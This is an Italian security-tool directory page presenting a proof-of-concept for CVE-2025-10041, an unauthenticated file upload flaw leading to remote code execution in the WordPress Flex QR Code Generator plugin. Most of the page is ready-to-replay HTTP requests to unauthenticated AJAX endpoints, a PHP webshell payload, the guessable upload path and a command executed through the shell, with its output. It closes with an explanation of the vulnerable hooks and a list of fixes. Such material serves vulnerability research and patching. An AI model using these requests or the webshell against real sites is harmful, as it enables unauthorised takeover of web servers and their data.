Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Analisi tecnica e proof-of-concept per CVE-2025-10041, un upload arbitrario di file non autenticato che porta all'esecuzione remota di codice nel plugin WordPress Flex QR Code Generator. | Kitploit
Strumenti/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Analisi tecnica e proof-of-concept per CVE-2025-10041, un upload arbitrario di file non autenticato che porta all'esecuzione remota di codice nel plugin WordPress Flex QR Code Generator.

Vedi Repository
10 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-10041: Analisi della vulnerabilità di upload arbitrario di file nel plugin Flex QR Code Generator


1. Panoramica della vulnerabilità

  • Nome del plugin: Flex QR Code Generator
  • Versioni interessate: ≤ 1.2.5 (tutte le versioni)
  • Tipo di vulnerabilità: Upload arbitrario di file → Esecuzione remota di codice (RCE)
  • Condizioni di sfruttamento: Nessun login richiesto, accesso non autorizzato
  • Causa principale: La funzione di upload dei file non verifica l'estensione o il tipo MIME e l'endpoint può essere chiamato da utenti non autenticati.

2. Riproduzione della vulnerabilità

  • No1: Information disclosure + hook di aggiornamento per ottenere RCE:

1. Panoramica della catena di attacco

root@kitploit:~
Ottenere l'ID senza autenticazione → Chiamare l'endpoint di aggiornamento per caricare un file PHP → Accedere alla webshell → RCE

2. Passo 1: Information disclosure per ottenere l'ID

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

Nella risposta è possibile ottenere un id valido (ad es. 9) e il percorso di logo_url.

root@kitploit:~
{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Passo 2: Aggiornamento e upload della WebShell

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ La risposta success: true indica che l'upload è riuscito.

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Passo 3: Accesso al file di test

Formato del percorso del file: {nome_originale}_{id}.php

root@kitploit:~
GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

Il server restituisce il contenuto del file

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2: Upload di file non autorizzato + RCE:

1. Panoramica della catena di attacco

root@kitploit:~
Accesso non autorizzato all'endpoint per caricare un file malevolo → Accesso alla webshell → RCE

2. Passo 1: Upload del file malevolo tramite endpoint

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

Nella risposta è possibile ottenere un id valido (ad es. 10) e il risultato success

root@kitploit:~
{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Passo 3: Accesso alla WEBSHELL per eseguire comandi

root@kitploit:~
GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ Il server restituisce il risultato dell'esecuzione del comando, RCE riuscita.

root@kitploit:~
HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Principio della vulnerabilità

1. Funzioni vulnerabili

  • File: flex-qr-code-generator/qr-code-generator.php
  • Funzioni: save_qr_code_to_db() e update_qr_code()

2. Difetti critici

  • Controlla solo $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • Nessuna verifica dell'estensione del file o del tipo MIME
  • Nome del file controllabile: {nome_originale}_{id}.ext, dove id è la chiave primaria auto-incrementale

3. Chiamata non autorizzata

Registrato tramite gli hook wp_ajax_nopriv_, l'endpoint è accessibile da utenti non autenticati:

root@kitploit:~
add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv significa "nessun requisito di autorizzazione": un attaccante può chiamare l'endpoint senza effettuare il login.


4. Raccomandazioni di correzione

MisuraDescrizione
✅ Controllo dei permessiRimuovere gli hook nopriv, consentire solo agli amministratori
✅ Validazione del tipo di fileLimitare le estensioni tramite whitelist (ad es. jpg/png/gif)
✅ Bloccare l'esecuzione di PHPDisabilitare l'esecuzione di PHP in uploads/.htaccess
✅ Rinomina dei fileUsare nomi di file casuali per evitare tentativi di indovinare il nome
✅ Aggiornare il pluginSeguire gli aggiornamenti ufficiali e aggiornare tempestivamente

Disclaimer

Questo articolo è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. Sono vietati test di penetrazione o attacchi non autorizzati. Gli utenti devono rispettare le leggi e i regolamenti applicabili.

Scarica lo strumento